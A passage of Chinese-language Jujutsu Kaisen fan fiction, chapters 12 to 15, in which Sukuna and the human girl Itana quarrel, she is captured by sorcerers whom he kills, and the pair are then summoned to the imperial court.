听了补充,宿傩阴沉的臭脸终于缓和。
“我不同意。”宿傩说得斩钉截铁。
“妖怪大人,您!……”伊田奈好说歹说,说了好几日,宿傩才不情不愿地点头。
加了一床新的床褥子。
宿傩前几夜睡得一点都不好。
恍惚之间,好像回到了人类女孩还没出现的时候。
夜里睡觉,闭上眼便能看到那些无用的孬种。
——也就只有用这种方式出现了。
宿傩心底嗤笑这些人,他们胆小、懦弱、不堪一击,对他不足以构成人任何威胁,只有在他要睡眠时,才敢以这种方式出现。
没用的懦夫。
想杀人。
宿傩以为自己是平淡的,可心底嗜血的欲望如藤蔓般疯狂生长。
想杀人。
脑海中一团纠缠不休的麻线,宿傩睁开眼,消失在黑夜之中。
一连几日,日日半夜,宿傩都会坐起身,消失在夜幕之中
连着几日,夜夜未眠,宿傩脾气逐渐暴躁。
眼底布满猩红色血丝。
“妖怪大人,您是生病了?”始作俑者隔了几日才发现,一脸惊讶问。
宿傩淡淡一瞥。
“要不要去瞧瞧大夫?”小姑娘眨着一双纯真的大眼睛,显得很是关切。
“你当真要与我看大夫?”宿傩眼底闪烁玩味的笑意。
“生病了不就应该看大夫?”伊田奈小心回答,生怕一个不注意,落入宿傩的圈套之中。
一股强劲的力道从手腕传来,带着不容置疑的气息,叫人难以抗拒。
睁开眼,伊田奈落入宿傩怀中。
“你干嘛?”伊田奈怒道。
“怎么,人类,你不是说生病了就应该找大夫,”宿傩眉眼轻佻,“我的确是生病了,生了只有你才能治好的病。”
宿傩抱着伊田奈躺下。
伊田奈还想再挣扎挣扎。
“别动。”宿傩闭着眼,眉心一片疲倦,“
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我睡一觉。”
“你……”伊田奈挣扎的动作缓缓停下,指尖轻轻划过宿傩脸颊,“算了,你睡吧。”
青天白日,妖怪就这样睡了整整一日,次日于早晨方才转醒。
此后夜里,宿傩常常会等伊田奈睡着以后,伸出手把伊田奈揽入自己的怀中。
秋去春来,转眼间,又是一年冬。
万类霜天竞自由,天地间一片雪白,唯有簌簌白雪从天空飘落。
伊田奈穿着厚厚的狐裘大衣,手里握着暖炉子,在雪地里闲逛。
今年冬天异常寒冷,伊田奈穿着厚厚的狐裘,裹得跟颗球似的,依然能感受到寒冷,
正走在雪地里,远远便瞧见一抹红。
伊田奈觑起眼睛看了一会儿,越看越像妖怪大人。
妖怪视线似乎朝伊田奈所在的方向停了一瞬,很快移开,直至朝着山顶而去。
“呵……”伊田奈冷哼一声,呼出的气化作白白的水雾升入天空,一双大眼睛里藏着点点怒意。
伊田奈转过身,朝着山顶走去。
卧房内炭火烧得正旺,劈里啪啦冒着火星子。
宿傩正在换衣服,衣衫半掩,后背挺拔结实,线条流利,古铜色皮肤展现健壮之美。
落在地上的衣衫有不少狰狞的爪痕,爪痕旁侵染森森血渍。
一件好好的衣裳,撕成烂布一般。
“你受伤了?”伊田奈关上门,上前捡起衣衫。
伊田奈垂眸,扫过衣衫上的血痕,眉心拧紧,“你受伤了?”
宿傩从伊田奈推门那一刻便知道她的存在,闻言,头也不回,继续穿衣,“没有。”
“没有?”伊田奈上前抓住宿傩的衣服,仔细环视一圈,只见宿傩身上多出大大小小的伤口,伤口已经结痂,身上还多了好几处青紫淤青,“你管这个叫没有受伤?”
宿傩淡淡一瞥,浑然不觉,“这算什么?”
“这算什么?”伊田奈巧笑了,左手握住暖炉子,右手狠狠朝宿傩背后狰狞、才结痂没多久的伤口触碰去,狠狠戳进去,血肉模糊,鲜血顺着伤口直流下来。
宿傩一声不吭,好像戳进去的不是他的血肉,而是一件死物,“这些对我来说不算什么。”
伊田奈脱手的瞬间,宿傩裸露的伤口迅速长出血肉,一切看上去完好如初。
“这些伤口于我而言,什么都算不上,我留下它们,不过是因为今天的对手可敬罢了。”宿傩漫不经心,神色之间俱是高傲。
宿傩一直很强。
“你会死吗?”伊田奈手上沾染宿傩的血,红得狰狞。
“如果能遇到一个实力比我强的人,也许会死,”宿傩认真思索这个问题,“我很期待那个人的出现。”
期待有那样一个人,能够与之酣畅淋漓地好好打一架。
伊田奈扯了扯嘴角,“是吗?祝你早日遇见那么一个人。”
伊田奈笑得刺眼,明明是在笑,可眼睛里却凉凉的。
她背过身,漫不经心扫视过手上的血迹,直接擦在素白色狐裘上。
狰狞的红色手掌印落在狐裘上。
红得夺目——
伊田奈平日不会让奇怪的东西沾上自己的衣服。
尤其是鲜血——
12. 闹脾气
生活条件提升后,伊田奈对衣服的整洁度要求也在变高。
就比如,她在穿白色的衣服时,不喜欢白衣服上沾染别的东西,况且这件狐裘做工精美,功能实用,她平日里很宝贝这件狐裘,小心呵护。
衣服上若是沾染污渍,伊田奈会哼哼唧唧心疼半天。
如今,就这样把宿傩的血抹在衣服上。
宿傩穿衣动作顿住,眸色一沉,快速笼好内层薄衫,大跨步上前。
“你在闹脾气?”粗糙的手掌握着纤细的手腕。
盈盈一握。
宿傩只需要加上不到半分力气,纤细脆弱的手腕顿时便可见红。
宿傩不会这样做,他握住她的手克制、隐忍。
“为什么要闹脾气?”
妖怪步步紧逼,一步步上前,试图寻根究底,理解面前人类突如其来的生气。
“没有闹脾气。”伊田奈别过脸,白皙侧脸轮廓分明,睫毛浓密狭长,根根分明,看不清眼底神色。
“还说没生气?”宿傩步步紧逼,弯腰,灼热气息喷洒在伊田奈脖颈间,粗糙手指把玩黑色秀发,鼻息间弥漫淡淡草药清香,“人类,说实话。”
伊田奈气鼓鼓瞪宿傩一眼,别开头,一言不发。
空气中只剩下手指摩挲头发沙沙作响的声音还有呼吸声。
宿傩神色一点点沉下去,腹部一张巨口狂躁不安。
锋利牙齿磨动发出响声,鲜红色唇舌搅动。
粗糙大掌掐住细嫩下巴,手上触感细滑粘腻,指尖深深陷入皮肤内,一圈勒痕勃.起,荡起一圈圈花瓣似的凸起纹路,纹路周围一圈泛白,泛白边缘紧紧挨着一圈玫红色红晕。
“人类,回答我。”
面前人类的下巴被一下抬起,这一次人类女孩没有任何眼神,斜着眼睛,不肯看宿傩。
“呵呵……”宿傩轻嗤一声,扭过少女白皙下巴,迫使她面朝自己。
四只眼睛齐溜溜盯着面前倔强人类,腹部唇舌不敢继续搅动,宿傩周身阴沉可怕。
伊田奈动弹不得,眼睛紧紧盯住窗外。
“不敢看我?”宿傩整张脸凑上去,快要贴上人类女孩的脸颊。
人类女孩连一个眼神都不肯给他。
两人鼻尖几乎碰在一起。
喷洒出的气息在肌肤凝结成水雾,带着丝丝痒意。
两人皮肤接触处带着轻轻颤栗,不知是谁的心跳声。
气氛持续良久,谁也不可能开口,当第一个打破气氛的人。
面前的人类女孩宛如一朵暴风中倔强的小白花,一副咬死了什么都不肯说的样子,无名之火蔓延。
宿傩怒火中烧,后槽牙咬紧。
精心圈养的玫瑰有朝一日周身荆棘密布,只为躲开玫瑰种植人的接近。
宿傩松开捏住伊田奈下巴的手,沉声道:“希望你能如愿以偿。”
背过身,宿傩长腿一跨,用力握紧还没穿好的衣服,向伊田奈还没进来时那样,慢条斯理穿衣。
他手上青筋暴起,根根分明。
伊田奈抬了抬眼眸,没有回头,捡起刚才争执掉落地上的暖炉子,推开门,头也不回朝外走。
宿傩手指紧紧攥在一起,眸色低沉。
手里握住的绛红色衣服是伊田奈定制的。
很多年前开始,宿傩的所有衣服全都换成了伊田奈专属定制。
一件一件,全都是伊田奈亲手设计,到服装店挑选布料,做出合身的衣服……
白雪簌簌,天地间一片洁白,伊田奈站在门口,轻轻合上门,站在雪地眺望。
伊田奈没有带伞,晶莹的雪花落至黑色发梢。
伊田奈带上狐裘的帽子,径直朝外走,走了没几步,脚步顿住,折返而回。
除了身上穿着的衣裳和握着的暖炉子,伊田奈什么东西都没带,只有头上的发钗饰品。
转进储物间,伊田奈着急找到钱袋,分了几处藏在自己身上才继续朝山下走。
伊田奈边走边数,只要妖怪肯在她没走远之前叫她,伊田奈便大度一回,大人不记小人过,当作什么都没发生。
她和妖怪还是和从前那般,该干嘛干嘛。
毕竟这次是她说的话有些重。
九十九步。
妖怪没有叫她。
一百九十九步。
妖怪什么讯息都没有。
六百九十九步。
伊田奈回头望,身后房子变成一个小小的点,上面白雪堆积,依稀可以看见庭院中大树深棕色树干。
身后没有任何人,更没有任何妖怪的呼唤。
九百九十九步,要是妖怪大人能在九百九十九步之前找她,伊田奈还是愿意当作什么事情都没发生过一样。
可是……伊田奈走了整整两千步,任何呼唤乃至跟上来的痕迹都没有。
伊田奈垂下眼眸,狭长漆黑睫毛遮盖住眼底阴翳。
她太自大了,竟然试图觉得区区几年的相处,妖怪……不,是别人,竟然会把她当作重要的人。
还好,她出来的时候带了很多很多的钱……
伊田奈漫无目的朝前走,天地间,到处都是一片白茫茫的雪色。
不知走了多久,鞋底的雪化开,湿冷的雪水浸透罗袜,捂住脚,透骨寒气浸入肌肤。
“哟,好貌美的小姑娘!”奇怪滑稽的声音阴森森冒出来。
伊田奈左脚处多了一抹滑腻腻的触感,低头一看,是个满面通红,胡子拉碴,衣衫褴褛的醉汉。
醉汉头朝下埋进雪里,身上覆了一层薄雪,酒葫芦掉在几步外。
是以伊田奈没注意到这醉汉。
伊田奈垂眸,使劲一蹬,醉汉抓住她的手甩出,落进雪地。
“小姑娘,可否帮我捡个酒葫芦?那酒葫芦里还有半瓶酒。”那醉汉红着脸,觑起眼,紧紧盯住几步外那一酒葫芦。
“我若是没了那半瓶酒,只怕走得不安稳呐!”
冰天雪地中,这醉汉声如洪钟,半点没有将死之人的征兆。
伊田奈垂眸看这醉汉笑了半晌,捡起酒葫芦,递给他,深深看了他一眼,起身边走。
醉汉拧开酒葫芦瓶口,大口灌酒,酒水顺着脖颈流入衣衫。
他却畅快淋漓地笑起来,这笑声,比起之前说话的声音又大上几分,回声在天地间回荡。<
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p>“钟鼓馔玉不足贵,但愿长醉不复醒。古来圣贤皆寂寞,惟有饮者留其名!”久违的母语在天地间回荡,气势磅礴,声势震动天。
熟悉又陌生。
伊田奈停下脚步。
“姑娘,留步!”老者的声音从身后传来。
伊田奈喜悦的脸庞一瞬间阴沉下去,不是母语,她转身,回望老者,“什么事?”
“老夫今日要死了,瞧你有缘,兜里有件小玩意,可护佑平安,送与姑娘,感谢姑娘今日为我取这酒葫芦!”说完,醉汉笑着僵卧雪地,一动不动。
“你死了?”伊田奈出声问。
没有任何回答。
伊田奈走上前,脚尖踢了踢醉汉手臂,醉汉没有反应。
伊田奈蹲下身,伸手按住脉搏,心跳声已经停止,醉汉皮肤僵硬,
醉汉死了。
尸体变凉了。
伊田奈从兜里掏出一串松木手串,松木手串不大,恰好是女子手腕粗细。松木清香,握在手中有阵阵暖意。
伊田奈收好手串,朝醉汉鞠了一躬,走了几百里,寻了处村庄,出钱请人埋了醉汉,继续前行。
已近黄昏,妖怪还是没有寻来。
伊田奈归意全无,只盼着赶紧找个旅店歇息一夜。
正要前往一个村庄问路时,只见几个道士模样的人跳出来。
“妖女,今日总算是让我们等到你了,快快受死吧!”
伊田奈后退几步,紧紧护住钱袋,盯着这几人。
“你们是谁?”
几人摸着胡子,一脸道貌岸然,说出的话却是喷粪,“我们是何人?我们是来收服你们的人!你这妖女助纣为虐,方才沿途还杀了一个无辜之人,倘若我们再不出手,只怕这天下要乱起来了!”
“当真是血口喷人!我一个手无缚鸡之力的女子,何曾杀人?”伊田奈大声质问。
“还说不曾杀人!当真是狡猾至极!你沿途杀了一个百姓,到附近村庄恐吓村民帮你掩埋尸体!只是你没有想到,会被我们逮到!”一群道貌岸然之人,满嘴奸佞话语。
“花言巧语!拨弄是非!我何曾杀过人?!不过是你们栽赃给我罢了!”伊田奈怒骂。
——
卧房。
宿傩放任伊田奈离开,感受到她的气息一点点消失在自己的身侧,心底像缺了一块,闷得慌。
但是,他没有像以往一样,悄悄跟在那个人类身后。
他要让她知道,这一次,他很生气。
宿傩在房间内呆坐,单手撑住下巴,两双眼睛茫然望着远方。
腹部唇舌此刻嚣张叫嚣,
宿傩心烦意乱,没有任何动作。
“没出息的废物。”不知是在骂腹上那东西,还是在骂自己。
一直到下午,肚子饥肠辘辘,宿傩才意识到人类还没回来。
从前是不会发生这样的事情,每次一到饭点,人类必然做好饭,叽叽喳喳吵闹着。
“真是!竟然还不回来!”
愚蠢的人类,真当外面的世界是那么容易?!
宿傩又气又急,站在门口,循着伊田奈的气息一点点向前去。
13. 她的妖怪
顺着人类的气息,宿傩一路寻到一处雪地。
到了雪地,伊田奈的气息便断了。
是恶心的咒术师的味道。
人类被咒术师抓走了。
宿傩脸色一沉,心头酸涩。
“妖孽,今日便是你与这妖女的死期!”
尖锐的声音从一旁传来,宿傩斜眼看去,是讨厌的咒术师。
阴魂不散——
伊田奈头发混乱,脸上隐约可见脏污,双手被反绑在身后,衣服松松垮垮,脸上巴掌印清晰可见。
她被那群咒术师推在最前面,嘴里被塞了破布条。
他养的人类,不过一个下午,就因为这群粗鄙的咒术师变成了这副模样。
宿傩嘴角扬起,眼里闪着滔天怒火。
咒术师们推搡着伊田奈上前,站在伊田奈身后,“你这个为祸人间的孽障,快些投降了吧!倘若你乖乖引颈就戮,我们还可以考虑留下这妖女的性命!倘若你不听,哼哼……那这妖女今日就想到阴曹地府等你!”
一摸弯刀横亘在伊田奈白皙颈间,一点点前推,点点血珠从刀口渗出,圆润饱满。
人类女孩面色苍白,眼都不眨一下,仿佛刀割的不是她的颈。
宿傩眼神冰冷。
“一群孬种……”宿傩啐骂。
“老大,给这妖女说说话,让她相好的妖孽赶快投降!”
“对,老大,咱们兄弟几个可不能白忙活一场!”
“要是这件事成了,咱们哥几个可是头等功,到时候直接在咒术界功成名就!谁见了咱们不得点头问好!”
几个歪鼻子斜眼的咒术师躲在伊田奈身后悄悄商量,取掉塞在伊田奈嘴里的破布,毫不客气从她身后推搡,“快点,叫你相好的赶紧自杀,否则你小命不保!”
“呵……”伊田奈踉跄向前走了几步,冷笑回头,看向身后几人,冷声道:“你们太高看我了。”
“想要用我来威胁他,那你们当真是痴人说梦。”
“不是说我是妖女吗?不是想要杀我吗?那来啊!”
伊田奈反退回去,眼睛盯紧弯刀,直直朝弯刀刀尖撞去。
伊田奈这一撞,把这几个咒术师撞懵了,几个人你望着我,我瞧着你,不知所措。
“傻瓜,快把刀收起来!这女人死了我们拿什么威胁?”一人尖叫出声。
握刀那人后知后觉,慌张把刀往后藏。
“闹够了吗?”宿傩不知何时进前,手中鲜血淋漓,握住一个个砰砰跳动的心脏,冷眼丢在雪地。
“我警告过你们,让你们少来招惹我,可没有一个人听我的话。”
宿傩似笑非笑,猩红色手掌划过脸颊,留下一抹妖艳的红,与骨子里嗜血的眼交相辉映。
他懒倦站在原地,邪恶又暴戾,眼睛直勾勾盯着最后一个站在原地,手里握弯刀咒术师,笑着开口,“怎么样?有意思吗?”
握弯刀咒术师自诩也算见过不少大场面,可还是被面前这场面吓得双腿发软。
师兄师弟们被掏空心脏,直直倒在地上,溅起一身尘土。
这个咒灵战斗力远远比咒术师们见到的更加恐怖!
他清楚知道,要不是眼前这个人类,他真的会死——死在这个强大咒灵手下。
咒术师跪倒在地上,弯刀落地,埋进雪地,“是小的有眼不识泰山,求大人放我一命!”他开始磕头,哭泣,眼泪与鼻涕混作一团,黏黏糊糊、叫人恶心。
伊田奈本意撞向弯刀,却扑了个空,原本要落到地上。
慌乱中,一双强劲有力的双手在伊田奈腰间片刻停留,灼热触感透过衣裙灼烧腰部。
捆在手腕处的绳子散落一地,两只手重获自由。
伊田奈稳稳当当站在原地,视线在宿傩身上短暂停留,冷漠看向地上哭喊求饶的咒术师。
“喂,抬头。”
破布不知道是这群咒术师从哪个犄角旮旯捡起来,塞进伊田奈嘴里,伊田奈一张口,嗓音沙哑,嘴里弥漫一股怪异的臭味。
伊田奈连着呸了好几声,怪异味道依旧弥漫口腔。
伊田奈眼底阴翳加深。
咒术师听到伊田奈开口,磕头方向换了个角度,“神仙姑娘,求求您放过我。”
说话的语气谄媚、卑微。
与痛快扇巴掌时作风简直判若两人。
伊田奈扯了扯嘴角,俯视咒术师:“我问你几个问题,你好好回答,我考虑让他放了你。”
他——意味明显。
是站在不远处的宿傩。
“神仙姑娘,您说您说!”咒术师连忙答应下来。
“从什么时候开始跟着我?”
咒术师一股脑全都说了出来。
去年前来讨伐的咒术师死后,宿傩在咒术界本就鼎鼎有名,如今更是成了香饽饽。
不断有人前来,希望自己能够杀掉这名强大的咒灵,从此在咒术界立足。
不断有人被杀,不断有人前来。
所有人都企图创造神话。
哪怕知道前方是一座巍峨的高山,从未有人攀越。
宿傩和伊田奈住所被监视,咒术师们不敢离得太近,宿傩很敏锐。
所有靠近的咒术师全都被杀光。
本以为没有下手的机会,谁知道和宿傩一起生活的伊田奈跑了出来。
“所以呢?你们企图用我来威胁他。”伊田奈居高临下,眼中看不清悲喜。
“不,不是我!是他们!全是他们的主意!”咒术师从倒地的人之中疯狂寻找,企图从中找到提议者。
“别找了。”伊田奈黑曜石般眼眸扫过地上横七竖八躺着的尸体,“你们不是什么咒术师,自诩人类的正义,为什么不救那个醉汉?”
她眼里带着悲悯。
“神仙姑娘,这世间人千千万万!小的们虽然是咒术师,可哪里救得过来?不过是一个醉汉,死了便死了,天底下醉汉多的去了!”
“呵呵……”伊田奈嘴角上扬,眉目之间尽是嘲讽,“你们当真以为那是个醉汉?”
“真是愚蠢!愚不可及!他读过的书可不少,比你,比你们这帮在场的所有咒术师都要多。”伊田奈自顾自说着,“你当真以为他死前说的是什么疯言怪语?”
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咒术师一脸疑惑。
“算了,懒得和你们说。”伊田奈转身,嘲讽看向宿傩,“你不是喜欢杀人,怎么不杀了?”
“神仙姑娘,你不是说放过我!……”话音还未落下,锋利手掌直直刺破心脏。
咒术师难以置信,明明那人类已经答应了,竟然会食言。
伊田奈闻言,回头,笑眯眯道:“你真是天真,竟然会相信一个妖女的话。”
咒术师嘴角流血,扑通一声,倒在雪地中。
宿傩慢条斯理清理手上血迹,跟上伊田奈时,除了脸上那一抹妖冶红痕,若有若无的血腥气,一点血痕都看不见。
宿傩不紧不慢跟在伊田奈身后,离伊田奈一步距离。
就这样默默走出几十米。
宿傩道:“这条路不是回去的路。”
伊田奈脚步一顿,若无其事朝前走。
“对不起,是我的问题。”良久,低沉沙哑的男声从身侧传来。
宿傩几步上前,挡在伊田奈面前,弯曲一条膝盖,半跪在伊田奈面前,认真看她的眼睛,“人类,这次是我的问题。”
“对不起。”一字一句,咬字清晰。
堂堂诅咒之王,如今跪在地上,给圈养的人类少女道歉。
说出去只怕咒术界和开了灵智的咒灵一个不信。
已是半夜,月亮悄悄爬上夜空,月光昏黄,一轮明月又亮又圆。
雪花不知何时纷纷扬扬从天上飘落而下。
晶莹剔透。
落在伊田奈墨色长发,宿傩狭长睫毛。
“人类,请你这一次原谅我。”有史以来,宿傩第一次说出这样卑微的话。
粉红色瞳孔紧紧注视面前人类。
她精心打理的头发此刻歪作一团,有的松松垮垮掉落下去,白皙皮肤红灿灿巴掌印,不知从何处沾染的污渍,脖颈处鲜红印记,衣裙更是扭作一团。
宿傩恨不得把那群咒术师千刀万剐,他圈养的人类,竟然会遭受如此待遇。
他都从来没有动过人类半根手指头!
伊田奈垂眸,眼神冰冷,“你没错,你救了我,你有什么错?”
她数到九十九步、一百九十九步、五百九十九步、九百九十九步,每一次,伊田奈回头,侥幸认为她的妖怪会出现,可一次都没有。
哪怕走到九千九八九十九步,她的妖怪大人依然没有出现。
“人类,我没有在开玩笑。”宿傩呼吸凝滞,像是忍了又忍,手紧紧攥握成拳,因太过用力微微颤抖,“这次,是我错了,我发誓,不会再有下次。”
伊田奈漆黑瞳孔深不见底:“我数到九千九百九十九时,都以为你会出现。”
“开始,我很难过,毕竟我们在一起这么长时间,但后来我想了想,世界上没有无缘无故的好,你为什么要对我这么好?这是没道理的。我想不到理由,也就释怀了。”
“妖怪大人,放过我,也放过你,这不好吗?”
骤然间,尖锐刺痛一笔一笔刻画在心间,宿傩眉头紧锁,四只眼睛顿时狰狞可怕。
周遭空气瞬间降下几个度。
14. 进宫
“人类,你疯了。”宿傩冷眼扫去。
两人周身气压一个比一个低。
宿傩上前一步,一只手拦住伊田奈纤细腰部,另一只手握住腿,把伊田奈打横抱抱起来。
“我没让你走,你永远走不了。”宿傩说得斩钉截铁。
风雪夜归路。
很快,宿傩抱着伊田奈回去。
灶房灶台大锅烧着热水,宿傩不会生火,从前斜眼靠在门边见伊田奈操作过,学着记忆中的模样挑出留下的火星子,加柴,烧水。
院子里寻人打了口水井,需要用水时,不用再到小溪边来回麻烦。
宿傩搅动缆绳,摇上几桶水,填满水缸。
把水装进沐浴用的大木桶,宿傩进屋,“可以去洗漱了。”
伊田奈坐在床边,背对宿傩。
从回来开始,伊田奈便一言不发。
听到宿傩的话,伊田奈慢慢起身,收拾好衣裙,到灶房关好门,脱下衣服,开始沐浴。
木桶内热水冒着热气,伊田奈搬出阶梯,一边脱衣,一边爬上阶梯,泡在热水中。
一点点吸取一身疲惫。
宿傩紧靠在灶房外木门上,听见房内水声作响,一颗心方才安定。
宿傩闭眼。
这一次,终究是他太过自傲,高估自己。
倘若再晚一点,那些人没想过用人类来威胁他。
只怕他现在找到的只是一具冰冷的尸体。
灶房内水声停下,宿傩回神,声音沙哑,“人类?”
没有回答。
宿傩转身,打算推开门,直直进去。手停在门框上,推的动作转变为敲。
咚咚咚——
敲门声响起。
“人类?”
没有声音。
宿傩这才推门而入。
只见房间内白色烟雾弥漫,灶台内火烧得正旺。
白茫茫水光中,人类女孩肌肤细腻。
她回眸,淡淡扫过,“你进来做什么?”
人类从小就吃得多。
宿傩一开始没注意到。时间长了,宿傩慢慢发现,人类总是会想各种办法给自己补充营养。
从镇上买的干货果子、自己酿的桂花蜜,桂花糕、不知何时藏在荷包内的糖果……
人类总是不会亏待自己的嘴。
和他吃饭时,总是吃得肚子圆鼓鼓的,才肯放下碗。
宿傩观察过同年龄的人类,只有他圈养的人类,才会吃得那么多,吃得那么不拘小节。
也是因为这样,他圈养的人类才会比其他人胖。
可比起他,人类还是瘦弱得可怜。
瘦弱到他只需要轻轻用力,他的人类便会窒息。
“没事。”宿傩退出去,关上门。
也许是从不轻易示弱的妖怪这次罕见示弱,伊田奈又和往常一样。
两月后的一天,宿傩满身是血回来,裙摆的血染得路都红了。
伊田奈正在做饭。
宿傩站在院里,远远隔着伊田奈说:“我把那群人杀光了。”
伊田奈弯腰动作一愣,“什么人?”
“那群在外监视的咒术师,以及背后的主谋。”
很多人,那些人试图反抗,试图逃跑。
最后没有一个人成功。
他们全都死了,被宿傩一个个杀死。
无一幸免。
“辛苦你了。”伊田奈停下手上动作,找出一套干净整洁衣衫,“去洗洗吧。”
浑身是血,妖冶至极的男人露出一抹怪笑,嘴角上扬,身体跟随微微颤动。
他就知道,他的人类,和他是一类人。
宿傩心情愉悦。
没过多久,一群穿着繁复宫廷制服的人突然出现在小院前。
为首那人瞧上去便嚣张跋扈,看上去不是个善角。
宿傩没有出门,甚至连房门都没出。
他让伊田奈自己做自己的事情就好,不必理会门外那群人。
为首看上去不善那人从马上下来,恭恭敬敬到院前鞠了一躬。
掏出明黄色圣旨,在院内宣读。
大概意思是妖怪是个不可多得的能人,皇帝觉得这个人很厉害,想要给这个人一些官当当。
伊田奈起先惊讶,没想到妖怪都能入朝为官。转念一想,自己遇到的奇葩事情也不算少,也便释然,觉得可以接受。
一连七日,为首那人日日都出现在门口。
第八日。
宿傩似乎动摇了,问道:“人类,你想去皇宫吗?”
伊田奈正在看书,才洗过头发,绞干后还有些湿润,淡淡药草香飘过。
宿傩无所事事,指尖缠绕在秀发间,细腻柔和,带着点点湿润。
“你想去?”伊田奈听出更深一层意味。
“还好,这些家伙天天都来,知道的都说我不是什么好人,不知道的还以为我是什么悬壶济世的圣人……”
想到有人称呼自己为圣人那画面,宿傩不自觉笑出声来。
除了他养的人类,其他人都是那么愚蠢……
宿傩嘴角微不可查扬起。
“你能是什么好人……”少女语气中毫不掩饰的嫌弃,“既然想去,那便去好了。”
一大群人浩浩荡荡,收拾大包小包的东西。
“大人,这些东西进宫后天皇都会给大人准备好的。”为首那人瞧见大包小包的包裹,思忖不知何时才能回到皇宫,想减轻行李。
宿傩不为所动,一言不发。
似乎眼前这个小小的官员不足以让他屈尊开口。
官员僵在原地。
伊田奈上前,朝官员手里递去一枚金元宝,“大人,不是他的原因。”伊田奈扫了宿傩一眼,“是我这人比较恋旧,这些东西陪了我许多时间,这不,要出远门了,自然是要带上。”
官员笑着收过,脸上多了几分谄媚,“这是当然,咱家自然能理解,这就盯紧手下的人,叫他们千万小心姑娘的东西。”
伊田奈笑着:“那就谢过这位官爷了。”
官员笑呵呵离开,鞭策手底下人轻点。
宿傩速度比快马加鞭的官员更快,先一步出发。
行至一处小镇时,伊田奈要求停下来。
早春时节,小镇上百花开放,杨柳依依。
沿岸毗邻大海,风吹波浪,一茬接一茬朝前涌。
日光充裕,盐水浴场人来人往,大人小孩,三两成群。
“妖怪大人,你去不去?”伊田奈问。
宿傩手臂拢在和服内,“想去就去。”
一同前往盐水浴场。
沿着海滩,听风吹海浪的声音,风吹起发丝。
恍惚
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间,伊田奈觉得自己好像回到了现代。
每天早上第一件事就是打开自己的智能手机,休闲时间打打游戏、看看小说、刷刷视频,偶尔觉得在家里呆够了,打个飞的,没什么目的地乱逛一圈。
如今已经过去这么多年,很多东西要仔细回忆才能慢慢想起。
恍若隔世。
小孩啼哭尖叫声刺破空气。
伊田奈睁眼,扎着两个丸子,手里拿着小糖人的小孩望着宿傩嚎啕大哭。
宿傩邪恶伸出四只手摆弄。
“妖怪!阿娘这里有妖怪!”嚎啕大哭的声音吸引了四周人员,不少人开始朝这边指指点点。
宿傩无所谓,为这些人惧怕、哭泣感到兴奋。
弱者的呢喃。
伊田奈上前一步,挡在宿傩面前。
“妖怪?多了两只手怎么了?至于哭这么大声?”
孩子家长觉得不可理喻,刚要争辩几句,宿傩一挑眉,顿时缩回脖子,“我们走!”拉着孩子就走。
伊田奈抱歉:“对不起,妖怪大人,是我考虑不周。”
宿傩无所谓:“没什么我不在乎。”
伊田奈接着说:“要不我们现在还是先走?”
“怕什么?我都说了我不在乎。”
宿傩若无其事朝前走。
伊田奈心里有点酸涩。
宿傩的脸和手异于常人,一定没少见过这种场面。
简单争执后,伊田奈和宿傩朝前走时所有的人有意避开,有不少人选择收拾东西提前离开盐水浴场,不敢多做停留。
伊田奈也失去了继续逛下去的心思,走了一会儿,便提前离开。
赶了两日路程,宿傩成功抵达东京。
还没进入东京地界,便有咒术师打扮的人从半道窜出来。
单眼皮,眼睛小小的,戴一顶帽子,走起路来死犟死犟的。
这是伊田奈对这人第一印象。
安倍堇业率领几个同门师兄弟,依次站立,态度恭恭敬敬。
“尊敬的客人,我们是天皇大人派来迎接您们的人,请不用担心。”安倍堇业率先自我介绍,他说话时嘴角上扬,两只眼睛笑眯成一条缝。
看向宿傩时,安倍堇业没有任何异常,看到宿傩身边站着的明媚少女时,安倍堇业略微惊讶,但也仅仅只多停留了几秒,很快移开视线。
跟着安倍堇业,宿傩与伊田奈很快来到皇宫。
“天皇大人吩咐过了,要是这位大人来了,一定要优先召见这位大人。”
宫廷楼阁错综复杂,安倍堇业在一处小门停下,意味明显。
宿傩并不买账:“这是我养的人类,她自然能够和我一起去。”
安倍堇业感到为难,托起宽大的袖摆鞠一躬:“抱歉大人,我们也只是按照天皇的人的要求行事。”
“既然不能接纳我养的人类,皇宫又有什么意思?”宿傩冷眼扫过宫殿,“你们今上大人庙大,容不下我这尊小佛。”
“大人恕罪!这边请!”
见宿傩不是开玩笑,安倍堇业当即立断,让两人一同前往。
皇帝的接见的地方十分宽大,气派辉煌,金子做的宫殿砖瓦,尽显豪气。
伊田奈叹了好几口气。
朝殿上瞧去,没想到瞧见一位熟人。
上头那人同样吃了一惊。
15. 再遇由纪
皇帝坐在高高的台阶之上,戴着厚厚的王冠,穿着锦衣玉袍。
他的头发白了,胡子斑驳发白,脸上沟壑纵横。
是一个很老很老的男人。
伊田奈觉得这人的孙子应该都比她大了。
由纪坐在皇帝身旁,打扮艳丽,画着浓妆,白皙纤细手腕裸露在空中,娇媚替皇帝按摩。
她坐在高台之上,皇帝侧面,与当年质朴娇羞的小姑娘有了天壤之别。
由纪不经意间向下望了一眼,手上动作顿住,眼里的光闪了闪,低头,移走视线。
“贵妃,今日我要接待一个重要臣子!你先回去!稍后我再来寻你!”皇帝亲切抚摸由纪软手,在由纪脸侧留下一个吻,招呼内侍大臣带由纪离开。
由纪娇羞嗔怒,俯身在皇帝胸口环抱一周,“今上可千万不要食言啊!”
尾音上挑,声音娇媚软糯。
由纪头也不回,扭着纤细腰肢离开。
皇帝从高台之上一级一级跨下来。
他身边其他宫人尖着嗓子指责:“大胆!见了天皇大人竟然不行跪拜之礼!”
皇帝摆摆手,制止近臣,眼里闪着兴奋的光,“不必,能臣有些傲骨又如何?只要能为我所用,那便是忠臣!”
快要转到伊田奈身边时,宿傩上前一步挡在她面前,态度十分不恭敬。
皇帝身边的宫人气得牙痒痒,恨不得用双眼剜掉宿傩心肝,碍于宿傩强健怪异体魄,不敢上前,也不敢再开口。
皇帝嘿嘿一笑,满不在乎。
没有软肋的臣子不是一个忠诚的臣子。
如今在皇帝眼里,宿傩比那些看着恭敬守礼、挑不出一点错处的大臣要忠诚百倍。
宿傩也不知这皇帝的奇葩思想,若是知道,也只会毫不在乎。
皇帝兴致勃勃问了宿傩好几个问题,宿傩大手揣在衣袖内,吊儿郎当,他眼睛在皇帝崎岖的脸,富丽堂皇的宫殿无聊扫视。
宿傩对这些问题并不放在心上。
“我要休息了。”厌倦了皇帝的喋喋不休,宿傩提出要求。
“是!我最忠诚的大臣累了,是我这个做皇帝的思虑不周!来人啊!快带我忠诚的大臣下去休息 !”明黄色大袖子一挥,一波宫女内侍纷纷进来。
